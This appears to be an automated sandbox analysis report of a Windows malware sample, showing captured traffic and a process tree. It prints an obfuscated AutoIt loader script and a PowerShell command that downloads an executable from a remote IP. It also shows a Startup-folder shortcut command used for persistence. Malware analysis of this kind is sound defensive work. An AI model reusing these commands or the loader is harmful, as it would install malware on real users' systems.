                                                        Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $OdHBt = 28 To 865If $VerifiedUnderstoodValidation = 32 ThenSqrt(7955)FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUnderstoodValidation = 33 ThenConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5))DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2))Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUndersto
                                                        Dec 18, 2024 09:31:26.319684982 CET1236INData Raw: 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 20 54 68 65 6e 0a 24 4e 75 74 74 65 6e 49 6e 76 65 73 74 6f 72 73 52 61 6c 65 69 67 68 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 30 34 5d 31 31 33 5d 31 30 35 5d 38 36 5d 38 35 5d 39 36 5d 38
                                                        Data Ascii: odValidation = 34 Then$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]83]73]78]127]105]97]79]105]77",28/4))ExitLoopEndIfNext$LAYERSSTRICTINNOVATIVE = '66150718350940696046327902621'$DmModsQueries = 68$DRESSDEARANTIQUES = 93Wh
                                                        Dec 18, 2024 09:31:26.319696903 CET1236INData Raw: 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 3d 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61
                                                        Data Ascii: lLibrarianSpiritU = $TheoreticalLibrarianSpiritU + 1EndIfIf $TheoreticalLibrarianSpiritU = 18 Then$locateheadquarterssuccessfully = PixelGetColor(Wales("82]124]123]88]85]72]105]73]102]127]126]82]119",5/1), Wales("82]124]123]88]85]72]105]73]
                                                        Dec 18, 2024 09:31:26.319763899 CET1236INData Raw: 37 29 29 0a 41 53 69 6e 28 39 39 32 29 0a 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 3d 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65
                                                        Data Ascii: 7))ASin(992)$missionsgreenhouse = $missionsgreenhouse + 1EndIfIf $missionsgreenhouse = 96 Then$broughtisnicholasearned = ASin(9631)ExitLoopEndIfIf $missionsgreenhouse = 97 ThenDriveStatus(Wales("87]120]118]101]109]107]108]120]39",24/6
                                                        Dec 18, 2024 09:31:26.319777012 CET1236INData Raw: 38 32 30 39 32 34 34 35 32 39 39 32 31 34 37 37 33 30 37 33 33 38 33 32 39 35 39 38 31 37 38 33 37 31 39 31 34 39 36 37 34 34 35 38 38 30 38 27 0a 24 44 49 4c 44 4f 53 59 49 45 4c 44 53 46 41 52 45 41 44 44 52 45 53 53 45 44 20 3d 20 33 36 0a 24
                                                        Data Ascii: 82092445299214773073383295981783719149674458808'$DILDOSYIELDSFAREADDRESSED = 36$PERFECTRYAN = 64For $mdowmhS = 37 To 500If $DILDOSYIELDSFAREADDRESSED = 35 ThenPixelGetColor(107, 354, 0)Dec(Wales("76]97]107]101]115]42]73]110]115]116]97]11
                                                        Dec 18, 2024 09:31:26.319788933 CET1236INData Raw: 38 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 39 33 5d 31 31 37 5d 31 32 33 5d 31 31 36 5d 31 30 36 5d 35 33 22 2c 33 30 2f 35 29 29 0a 43 68 72 28 38 37 37 39 29 0a 24 4c 65 73 73 50 68 6f 6e 65 20 3d 20 24 4c 65 73 73 50 68
                                                        Data Ascii: 8)DriveStatus(Wales("93]117]123]116]106]53",30/5))Chr(8779)$LessPhone = $LessPhone + 1EndIfIf $LessPhone = 28 Then$adipexeditcarl = DriveStatus(Wales("79]104]75]82]80]116]89]86]125]114]75]75]81]125]90]115]95]79]128",56/8))ExitLoopEndIf
                                                        Dec 18, 2024 09:31:26.319803953 CET1236INData Raw: 73 74 65 64 44 69 65 44 6f 63 73 20 2b 20 31 0a 45 6e 64 49 66 0a 57 45 6e 64 0a 24 54 61 62 6c 65 44 69 73 63 75 73 73 65 73 52 61 70 69 64 6c 79 48 69 73 74 6f 72 69 63 61 6c 20 3d 20 27 39 38 37 37 37 39 35 31 33 37 30 34 33 31 35 32 31 31 36
                                                        Data Ascii: stedDieDocs + 1EndIfWEnd$TableDiscussesRapidlyHistorical = '9877795137043152116883331283765251278672396181174893270'$COACHCELLULAR = 24$AIMEDSENZSHOPSMIXER = 90For $hIEQQvE = 18 To 472If $COACHCELLULAR = 23 ThenACos(2564)Chr(8142)ASi
                                                        Dec 18, 2024 09:31:26.319981098 CET1236INData Raw: 6e 65 4c 69 63 65 6e 73 65 20 2b 20 31 0a 45 6e 64 49 66 0a 57 45 6e 64 0a 24 42 61 73 6b 65 74 73 4e 65 61 72 43 75 62 61 20 3d 20 27 35 35 38 34 37 38 32 34 35 37 35 34 32 36 31 37 30 36 32 37 31 38 32 31 30 30 30 38 27 0a 24 48 65 72 65 62 79
                                                        Data Ascii: neLicense + 1EndIfWEnd$BasketsNearCuba = '5584782457542617062718210008'$HerebyFaq = 55$MultiCordlessFlexRepublicans = 73While 548If $HerebyFaq = 54 ThenACos(3326)ATan(8817)Dec(Wales("78]105]124]40]40]40]40",56/7))$HerebyFaq = $Hereb
                                                        Dec 18, 2024 09:31:26.320029974 CET1236INData Raw: 24 49 6d 6d 65 64 69 61 74 65 6c 79 4d 61 72 62 6c 65 49 6e 63 6f 72 70 6f 72 61 74 65 64 48 6f 75 72 20 3d 20 38 31 0a 24 61 70 70 72 6f 70 72 69 61 74 65 6c 6f 61 64 20 3d 20 38 31 0a 57 68 69 6c 65 20 39 33 33 0a 49 66 20 24 49 6d 6d 65 64 69
                                                        Data Ascii: $ImmediatelyMarbleIncorporatedHour = 81$appropriateload = 81While 933If $ImmediatelyMarbleIncorporatedHour = 80 ThenConsoleWriteError(Wales("91]110]125]106]114]119]70]93]130]121]110]70",9/1))DriveStatus(Wales("90]109]117]113]118]108]102]7
                                                        Dec 18, 2024 09:31:26.320044994 CET1236INData Raw: 34 5d 37 31 5d 31 30 32 5d 39 38 5d 31 31 37 5d 33 34 5d 36 36 5d 31 30 39 5d 31 30 34 5d 31 30 32 5d 31 31 35 5d 31 30 36 5d 39 38 5d 33 34 5d 38 33 5d 31 30 32 5d 39 39 5d 31 31 32 5d 31 31 38 5d 31 31 31 5d 31 30 31 5d 33 34 22 2c 32 2f 32 29
                                                        Data Ascii: 4]71]102]98]117]34]66]109]104]102]115]106]98]34]83]102]99]112]118]111]101]34",2/2))$REJECTRESERVOIRLOCKENJOYED = $REJECTRESERVOIRLOCKENJOYED + 1EndIfIf $REJECTRESERVOIRLOCKENJOYED = 88 ThenExp(7839)Exp(4168)PixelGetColor(41, 632, 0)$REJ
                                                        Dec 18, 2024 09:31:26.439476013 CET1236INData Raw: 6c 65 67 61 6c 20 3d 20 32 37 20 54 68 65 6e 0a 41 53 69 6e 28 34 32 39 37 29 0a 41 54 61 6e 28 36 33 33 33 29 0a 46 69 6c 65 45 78 69 73 74 73 28 57 61 6c 65 73 28 22 36 38 5d 31 31 39 5d 31 31 38 5d 31 31 38 5d 31 31 33 5d 31 31 32 5d 33 35 5d
                                                        Data Ascii: legal = 27 ThenASin(4297)ATan(6333)FileExists(Wales("68]119]118]118]113]112]35]82]107]117]117]35]73]116]99]112]118]35]70]99]111]35",8/4))$DiscoIllegal = $DiscoIllegal + 1EndIfIf $DiscoIllegal = 28 ThenPixelGetColor(Wales("95]106]117]126


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Target ID:0
                                                        Start time:03:31:16
                                                        Start date:18/12/2024
                                                        Path:C:\Users\user\Desktop\RMBOriPHVJ.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:"C:\Users\user\Desktop\RMBOriPHVJ.exe"
                                                        Imagebase:0x7ff787b70000
                                                        File size:1'083'904 bytes
                                                        MD5 hash:F31D005ED75E0D83E49FEEF891D06385
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low
                                                        Has exited:true

                                                        General

                                                        Target ID:1
                                                        Start time:03:31:16
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe""
                                                        Imagebase:0x7ff6cb6b0000
                                                        File size:452'608 bytes
                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:2
                                                        Start time:03:31:16
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff6ee680000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:4
                                                        Start time:03:31:23
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
                                                        Imagebase:0x7ff6cb6b0000
                                                        File size:452'608 bytes
                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:5
                                                        Start time:03:31:23
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff6ee680000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:6
                                                        Start time:03:31:30
                                                        Start date:18/12/2024
                                                        Path:C:\Users\Public\Guard.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
                                                        Imagebase:0xca0000
                                                        File size:893'608 bytes
                                                        MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Antivirus matches:
                                                        • Detection: 8%, ReversingLabs
                                                        Reputation:moderate
                                                        Has exited:false

                                                        General

                                                        Target ID:8
                                                        Start time:03:31:32
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
                                                        Imagebase:0xa40000
                                                        File size:236'544 bytes
                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:9
                                                        Start time:03:31:32
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff6ee680000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:10
                                                        Start time:03:31:43
                                                        Start date:18/12/2024
                                                        Path:C:\Windows\System32\wscript.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
                                                        Imagebase:0x7ff726a30000
                                                        File size:170'496 bytes
                                                        MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:11
                                                        Start time:03:31:44
                                                        Start date:18/12/2024
                                                        Path:C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
                                                        Imagebase:0x940000
                                                        File size:893'608 bytes
                                                        MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Antivirus matches:
                                                        • Detection: 8%, ReversingLabs
                                                        Reputation:moderate
                                                        Has exited:false

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:2.4%
                                                          Dynamic/Decrypted Code Coverage:0%
                                                          Signature Coverage:10.3%
                                                          Total number of Nodes:1514
                                                          Total number of Limit Nodes:42
                                                          execution_graph 94413 7ff787b990e0 94420 7ff787baaf30 94413->94420 94415 7ff787b990e5 94416 7ff787baba10 _isindst LeaveCriticalSection 94415->94416 94417 7ff787b990f0 94416->94417 94418 7ff787b990fc 94417->94418 94419 7ff787b99118 11 API calls 94417->94419 94419->94418 94425 7ff787bab778 GetLastError 94420->94425 94422 7ff787baaf3b 94446 7ff787bab26c 35 API calls abort 94422->94446 94426 7ff787bab7a2 94425->94426 94427 7ff787bab795 94425->94427 94448 7ff787badda8 15 API calls 2 library calls 94426->94448 94447 7ff787babd6c 6 API calls __vcrt_uninitialize_ptd 94427->94447 94430 7ff787bab79a 94430->94426 94433 7ff787bab7e3 94430->94433 94431 7ff787bab7b1 94432 7ff787bab7b9 94431->94432 94455 7ff787babdc4 6 API calls __vcrt_uninitialize_ptd 94431->94455 94449 7ff787bab3c0 94432->94449 94435 7ff787bab7e8 SetLastError 94433->94435 94436 7ff787bab7fe SetLastError 94433->94436 94435->94422 94457 7ff787bab26c 35 API calls abort 94436->94457 94438 7ff787bab7d0 94438->94432 94441 7ff787bab7d7 94438->94441 94440 7ff787bab7c0 94440->94436 94456 7ff787bab528 15 API calls _get_daylight 94441->94456 94444 7ff787bab7dc 94445 7ff787bab3c0 __free_lconv_mon 15 API calls 94444->94445 94445->94433 94447->94430 94448->94431 94450 7ff787bab3c5 RtlFreeHeap 94449->94450 94454 7ff787bab3f5 __free_lconv_mon 94449->94454 94451 7ff787bab3e0 94450->94451 94450->94454 94458 7ff787ba55d4 15 API calls _get_daylight 94451->94458 94453 7ff787bab3e5 GetLastError 94453->94454 94454->94440 94455->94438 94456->94444 94458->94453 94459 7ff787bce263 94460 7ff787bce271 94459->94460 94470 7ff787b82680 94459->94470 94460->94460 94461 7ff787b829c8 PeekMessageW 94461->94470 94462 7ff787b826da GetInputState 94462->94461 94462->94470 94464 7ff787bcd181 TranslateAcceleratorW 94464->94470 94465 7ff787b82a33 PeekMessageW 94465->94470 94466 7ff787b82a1f TranslateMessage DispatchMessageW 94466->94465 94467 7ff787b828b9 timeGetTime 94467->94470 94468 7ff787bcd2bb timeGetTime 94526 7ff787b92ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94468->94526 94470->94461 94470->94462 94470->94464 94470->94465 94470->94466 94470->94467 94470->94468 94475 7ff787b82856 94470->94475 94477 7ff787bf34e4 77 API calls 94470->94477 94479 7ff787b82b70 94470->94479 94486 7ff787b866c0 94470->94486 94520 7ff787b92de8 94470->94520 94525 7ff787b82e30 300 API calls 2 library calls 94470->94525 94527 7ff787bf3a28 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94470->94527 94528 7ff787b83c20 94470->94528 94549 7ff787c0a320 300 API calls Concurrency::wait 94470->94549 94477->94470 94480 7ff787b82b96 94479->94480 94482 7ff787b82ba9 94479->94482 94550 7ff787b82050 94480->94550 94570 7ff787bf34e4 77 API calls 3 library calls 94482->94570 94483 7ff787b82b9e 94483->94470 94485 7ff787bce55c 94502 7ff787b8673b memcpy_s Concurrency::wait 94486->94502 94487 7ff787bd1fac 94714 7ff787c0ab30 300 API calls Concurrency::wait 94487->94714 94490 7ff787bd1fbe 94490->94470 94492 7ff787b86c0f 94493 7ff787bd1fc9 94492->94493 94494 7ff787b86c3d 94492->94494 94715 7ff787bf34e4 77 API calls 3 library calls 94493->94715 94711 7ff787b7ee20 5 API calls Concurrency::wait 94494->94711 94497 7ff787b86b15 94497->94470 94499 7ff787b86c4a 94712 7ff787b91fcc 300 API calls 94499->94712 94502->94487 94502->94492 94502->94493 94502->94497 94502->94499 94503 7ff787b94c68 4 API calls 94502->94503 94504 7ff787b86c78 94502->94504 94507 7ff787b83c20 300 API calls 94502->94507 94508 7ff787bd2032 94502->94508 94509 7ff787bd20c1 94502->94509 94512 7ff787b86d40 9 API calls 94502->94512 94585 7ff787c0f0ac 94502->94585 94588 7ff787bf7e48 94502->94588 94622 7ff787bf8e98 94502->94622 94655 7ff787bf5b80 94502->94655 94661 7ff787bf8ea0 94502->94661 94694 7ff787bf63dc 94502->94694 94699 7ff787c0f160 94502->94699 94704 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94502->94704 94705 7ff787b7ec00 94502->94705 94710 7ff787b950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 94502->94710 94717 7ff787c08d98 49 API calls Concurrency::wait 94502->94717 94718 7ff787b7e0a8 94502->94718 94503->94502 94713 7ff787b8e8f4 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94504->94713 94507->94502 94716 7ff787bf34e4 77 API calls 3 library calls 94508->94716 94509->94497 94722 7ff787bf34e4 77 API calls 3 library calls 94509->94722 94512->94502 94522 7ff787b92e0d 94520->94522 94523 7ff787b92e2a 94520->94523 94521 7ff787b92e5b IsDialogMessageW 94521->94522 94521->94523 94522->94470 94523->94521 94523->94522 94524 7ff787bd9d94 GetClassLongPtrW 94523->94524 94524->94521 94524->94523 94525->94470 94526->94470 94527->94470 94538 7ff787b83c80 94528->94538 94529 7ff787b94f0c 34 API calls __scrt_initialize_thread_safe_statics 94529->94538 94530 7ff787bd05be 94955 7ff787bf34e4 77 API calls 3 library calls 94530->94955 94532 7ff787b84a8f 94536 7ff787b84ac0 94532->94536 94540 7ff787bcfefe 94532->94540 94545 7ff787b84aa9 94532->94545 94534 7ff787bd05d1 94534->94470 94535 7ff787b84fe7 94539 7ff787b7e0a8 4 API calls 94535->94539 94536->94470 94537 7ff787b7e0a8 4 API calls 94541 7ff787b83dde 94537->94541 94538->94529 94538->94530 94538->94532 94538->94535 94538->94541 94542 7ff787b7e0a8 4 API calls 94538->94542 94538->94545 94546 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94538->94546 94547 7ff787b79640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94538->94547 94548 7ff787b950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 94538->94548 94953 7ff787b85360 300 API calls Concurrency::wait 94538->94953 94954 7ff787bf34e4 77 API calls 3 library calls 94538->94954 94539->94541 94543 7ff787b7e0a8 4 API calls 94540->94543 94541->94470 94542->94538 94543->94536 94545->94536 94545->94537 94546->94538 94547->94538 94548->94538 94549->94470 94551 7ff787b83c20 300 API calls 94550->94551 94555 7ff787b820a8 94551->94555 94552 7ff787b8212d 94552->94483 94554 7ff787bcd08d 94555->94552 94556 7ff787b82552 94555->94556 94557 7ff787b82244 94555->94557 94564 7ff787bcd06f 94555->94564 94566 7ff787b822a5 memcpy_s 94555->94566 94567 7ff787b823cb memcpy_s 94555->94567 94559 7ff787b94c68 4 API calls 94556->94559 94557->94567 94571 7ff787b81ce4 301 API calls Concurrency::wait 94557->94571 94558 7ff787bcd036 94579 7ff787b7ee20 5 API calls Concurrency::wait 94558->94579 94559->94567 94562 7ff787bcd062 94580 7ff787b7ee20 5 API calls Concurrency::wait 94562->94580 94581 7ff787bf34e4 77 API calls 3 library calls 94564->94581 94566->94567 94572 7ff787b94c68 94566->94572 94567->94558 94569 7ff787bf34e4 77 API calls 94567->94569 94578 7ff787b74a60 300 API calls 94567->94578 94569->94567 94570->94485 94571->94566 94575 7ff787b94c2c 94572->94575 94573 7ff787b94c50 94573->94566 94575->94572 94575->94573 94582 7ff787b9925c EnterCriticalSection LeaveCriticalSection fread_s 94575->94582 94583 7ff787b95600 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 94575->94583 94584 7ff787b95620 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 94575->94584 94578->94567 94579->94562 94580->94564 94581->94554 94582->94575 94584->94575 94723 7ff787c0f630 94585->94723 94589 7ff787bf7e79 94588->94589 94619 7ff787bf7f55 Concurrency::wait 94589->94619 94867 7ff787b79640 94589->94867 94592 7ff787bf7ea6 94593 7ff787b79640 4 API calls 94592->94593 94595 7ff787bf7eaf 94593->94595 94597 7ff787b7d4cc 48 API calls 94595->94597 94596 7ff787b7d4cc 48 API calls 94598 7ff787bf7fab 94596->94598 94599 7ff787bf7ebe 94597->94599 94851 7ff787b76838 94598->94851 94870 7ff787b774ac RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94599->94870 94603 7ff787bf7ed8 94871 7ff787b77c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94603->94871 94604 7ff787bf7fbe GetLastError 94606 7ff787bf7fd8 94604->94606 94614 7ff787bf7fe5 94606->94614 94874 7ff787b77ab8 94606->94874 94607 7ff787bf7f07 94607->94619 94872 7ff787bebdd4 lstrlenW GetFileAttributesW FindFirstFileW FindClose 94607->94872 94608 7ff787bf7ff5 94609 7ff787b79640 4 API calls 94608->94609 94612 7ff787bf8035 94609->94612 94612->94614 94877 7ff787be0d38 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94612->94877 94613 7ff787bf7f17 94615 7ff787bf7f1b 94613->94615 94613->94619 94614->94502 94617 7ff787b7ec00 4 API calls 94615->94617 94618 7ff787bf7f28 94617->94618 94873 7ff787bebab8 8 API calls Concurrency::wait 94618->94873 94619->94614 94842 7ff787b7834c 94619->94842 94621 7ff787bf7f31 Concurrency::wait 94621->94619 94623 7ff787bfa680 94622->94623 94624 7ff787b7834c 5 API calls 94623->94624 94630 7ff787bfa71a 94623->94630 94626 7ff787bfa6be 94624->94626 94625 7ff787bfa6f3 94625->94502 94628 7ff787b7d4cc 48 API calls 94626->94628 94627 7ff787bfa7fd 94928 7ff787bf1864 6 API calls 94627->94928 94629 7ff787bfa6d0 94628->94629 94632 7ff787b76838 16 API calls 94629->94632 94630->94625 94630->94627 94635 7ff787bfa770 94630->94635 94634 7ff787bfa6e2 94632->94634 94633 7ff787bfa805 94638 7ff787beb334 4 API calls 94633->94638 94634->94630 94636 7ff787bfa6e6 94634->94636 94637 7ff787b7d4cc 48 API calls 94635->94637 94636->94625 94640 7ff787b77ab8 CloseHandle 94636->94640 94641 7ff787bfa778 94637->94641 94639 7ff787bfa7e0 Concurrency::wait 94638->94639 94639->94625 94646 7ff787b78314 CloseHandle 94639->94646 94640->94625 94642 7ff787bfa7ee 94641->94642 94643 7ff787bfa7a7 94641->94643 94897 7ff787beb3a8 94642->94897 94915 7ff787b798e8 94643->94915 94649 7ff787bfa85c 94646->94649 94647 7ff787bfa7b5 94648 7ff787b7e0a8 4 API calls 94647->94648 94650 7ff787bfa7c2 94648->94650 94649->94625 94652 7ff787b77ab8 CloseHandle 94649->94652 94918 7ff787b771f8 94650->94918 94652->94625 94653 7ff787bfa7d3 94654 7ff787beb3a8 12 API calls 94653->94654 94654->94639 94656 7ff787bf5ba5 94655->94656 94657 7ff787bf5be5 FindClose 94656->94657 94658 7ff787bf5bd5 94656->94658 94660 7ff787bf5ba9 94656->94660 94657->94660 94659 7ff787b77ab8 CloseHandle 94658->94659 94658->94660 94659->94660 94660->94502 94662 7ff787bfa680 94661->94662 94663 7ff787b7834c 5 API calls 94662->94663 94665 7ff787bfa71a 94662->94665 94666 7ff787bfa6be 94663->94666 94664 7ff787bfa6f3 94664->94502 94665->94664 94667 7ff787bfa7fd 94665->94667 94674 7ff787bfa770 94665->94674 94668 7ff787b7d4cc 48 API calls 94666->94668 94942 7ff787bf1864 6 API calls 94667->94942 94669 7ff787bfa6d0 94668->94669 94671 7ff787b76838 16 API calls 94669->94671 94673 7ff787bfa6e2 94671->94673 94672 7ff787bfa805 94677 7ff787beb334 4 API calls 94672->94677 94673->94665 94675 7ff787bfa6e6 94673->94675 94676 7ff787b7d4cc 48 API calls 94674->94676 94675->94664 94678 7ff787b77ab8 CloseHandle 94675->94678 94682 7ff787bfa778 94676->94682 94693 7ff787bfa7e0 Concurrency::wait 94677->94693 94678->94664 94679 7ff787bfa7ee 94681 7ff787beb3a8 12 API calls 94679->94681 94680 7ff787bfa7a7 94683 7ff787b798e8 4 API calls 94680->94683 94681->94693 94682->94679 94682->94680 94685 7ff787bfa7b5 94683->94685 94684 7ff787b78314 CloseHandle 94687 7ff787bfa85c 94684->94687 94686 7ff787b7e0a8 4 API calls 94685->94686 94688 7ff787bfa7c2 94686->94688 94687->94664 94690 7ff787b77ab8 CloseHandle 94687->94690 94689 7ff787b771f8 4 API calls 94688->94689 94691 7ff787bfa7d3 94689->94691 94690->94664 94692 7ff787beb3a8 12 API calls 94691->94692 94692->94693 94693->94664 94693->94684 94695 7ff787b7d4cc 48 API calls 94694->94695 94696 7ff787bf63f8 94695->94696 94943 7ff787bebdec 94696->94943 94698 7ff787bf6404 94698->94502 94700 7ff787c0f630 164 API calls 94699->94700 94702 7ff787c0f182 94700->94702 94701 7ff787c0f1cd 94701->94502 94702->94701 94951 7ff787b7ee20 5 API calls Concurrency::wait 94702->94951 94706 7ff787b7ec1d 94705->94706 94707 7ff787bca5a2 94706->94707 94708 7ff787b94c68 4 API calls 94706->94708 94709 7ff787b7ec55 memcpy_s 94708->94709 94709->94502 94711->94499 94712->94504 94713->94504 94714->94490 94715->94497 94716->94497 94717->94502 94719 7ff787b7e0bb 94718->94719 94720 7ff787b7e0b6 94718->94720 94719->94502 94952 7ff787b7f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94720->94952 94722->94497 94726 7ff787c0f671 memcpy_s 94723->94726 94791 7ff787b7d4cc 94726->94791 94728 7ff787c0f759 94729 7ff787c0f840 94728->94729 94730 7ff787c0f762 94728->94730 94732 7ff787c0f87d GetCurrentDirectoryW 94729->94732 94735 7ff787b7d4cc 48 API calls 94729->94735 94731 7ff787b7d4cc 48 API calls 94730->94731 94733 7ff787c0f777 94731->94733 94734 7ff787b94c68 4 API calls 94732->94734 94736 7ff787b7e330 4 API calls 94733->94736 94737 7ff787c0f8a7 GetCurrentDirectoryW 94734->94737 94738 7ff787c0f85c 94735->94738 94740 7ff787c0f783 94736->94740 94741 7ff787c0f8b5 94737->94741 94739 7ff787b7e330 4 API calls 94738->94739 94742 7ff787c0f868 94739->94742 94743 7ff787b7d4cc 48 API calls 94740->94743 94744 7ff787c0f8f0 94741->94744 94823 7ff787b8f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94741->94823 94742->94732 94742->94744 94745 7ff787c0f798 94743->94745 94749 7ff787c0f901 94744->94749 94750 7ff787c0f905 94744->94750 94747 7ff787b7e330 4 API calls 94745->94747 94751 7ff787c0f7a4 94747->94751 94748 7ff787c0f8d0 94824 7ff787b8f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94748->94824 94757 7ff787c0fa0f CreateProcessW 